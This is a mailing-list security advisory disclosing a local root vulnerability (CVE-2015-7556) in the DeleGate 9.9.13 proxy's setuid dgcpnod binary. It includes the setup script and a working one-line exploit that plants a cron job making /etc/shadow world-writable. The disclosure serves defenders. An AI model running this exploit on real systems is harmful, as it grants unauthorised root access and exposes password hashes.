lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-id: <5682A8A9.6030907@me.com>
Date: Tue, 29 Dec 2015 10:37:13 -0500
From: "Larry W. Cashdollar" <larry0@...com>
To: fulldisclosure@...lists.org
Subject: [FD] Local root vulnerability in DeleGate v9.9.13

Title: Local root vulnerability in DeleGate v9.9.13
Author: Larry W. Cashdollar, @_larry0
Date: 2015-12-17
Advisory: http://www.vapidlabs.com/advisory.php?v=159
Download Sites: http://delegate.hpcc.jp/delegate/ 
http://delegate.org/delegate/
Vendor: National Institute of Advanced Industrial Science and Technology
Vendor Notified: 2015-12-17
Vendor Contact: y.sato@...egate.org ysato@....go.jp
Description: DeleGate is a multipurpose proxy server which relays 
various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, 
Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and 
more. DeleGate mediates communication between servers and clients where 
direct communication is impossible, inefficient, or inconvenient.

Vulnerability:
Installation of delegate 9.9.13 sets some binaries setuid root, at least 
one of these binaries can be used to escalate the privileges of a local 
user.  The binary dgcpnod creates a node allowing a local unprivileged 
user to create files anywhere on disk.   By creating a file in 
/etc/cron.hourly a local user can execute commands as root.

Installation of software via source or binary distribution with option 
to not run as root results in a script set-subin.sh to run setting the 
setuid bit on four binaries.  In Linux distributions where this software 
is part of the package list these binaries are not setuid root. (archlinux)

 From documentation http://www.delegate.org/delegate/newbies-ja.shtml 
(translated to english):
Go is included in the binary distribution, or DGROOT that you can build 
from the source to the location of preference, and then change the name 
if necessary. This is the DgRoot. In addition, if needed, you can rename 
the executable file of DeleGate to the name of the preference. This is 
the DgExe.
"In Unix version subin in if you want to use "(such as when using a 
privileged port), do the following.

   (3-2uk) $ cd DgRoot / subin
           $ Sh setup-subin.sh

larry@...lt:~/dg9_9_13/DGROOT/subin$ ls -l
total 1916
-r-sr-s--- 1 root  larry 384114 Oct 31  2014 dgbind
-r-sr-s--- 1 root  larry 384598 Oct 31  2014 dgchroot
-r-sr-s--- 1 root  larry 384161 Oct 31  2014 dgcpnod
-rwxr-xr-x 1 larry larry 384114 Oct 31  2014 dgdate
-rwxr-xr-x 1 larry larry  29066 Oct 31  2014 dgforkpty
-r-sr-s--- 1 root  larry 384113 Oct 31  2014 dgpam
-rwxr-x--- 1 larry larry    272 Oct 27  2014 setup-subin.sh

This script sets the setuid bit on four binaries:

larry@...lt:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh
#!/bin/sh

SUBINS="dgpam dgbind dgchroot dgcpnod"
sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS"
if [ $? != 0 ]; then
   su root -c "chown root $SUBINS; chmod 6550 $SUBINS"
fi
CVEID: 2015-7556
Exploit Code:
$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme 
/etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' 
 > /etc/cron.hourly/rootme


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ